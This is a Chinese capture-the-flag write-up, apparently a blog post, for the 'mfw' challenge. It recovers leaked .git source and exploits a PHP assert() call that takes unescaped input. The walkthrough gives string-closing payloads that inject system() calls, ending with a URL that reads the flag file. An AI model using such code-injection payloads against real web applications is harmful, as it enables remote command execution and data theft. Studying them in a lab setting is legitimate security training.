mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
CV资深专家8 小时前
常用git命令
git
bug和崩溃我都要10 小时前
Git提交代码完整流程
git
逢考必过@k10 小时前
git的使用
git
狂炫一碗大米饭15 小时前
如何在 Git 中检出远程分支
前端·git·github
dolzhuying17 小时前
git常见场景食用指南
git
上邪o_O18 小时前
Git 的基本使用指南(1)
linux·git
飏旎1 天前
git pull和git fetch的区别
git
z涛.2 天前
git的使用
git
大卫小东(Sheldon)2 天前
智能生成git提交消息工具 GIM 发布 1.7 版本了
git·ai·rust
慧都小项2 天前
UI测试平台TestComplete如何实现从Git到Jenkins的持续测试
git·ui·jenkins·代码质量·testcomplete·zephyr for jira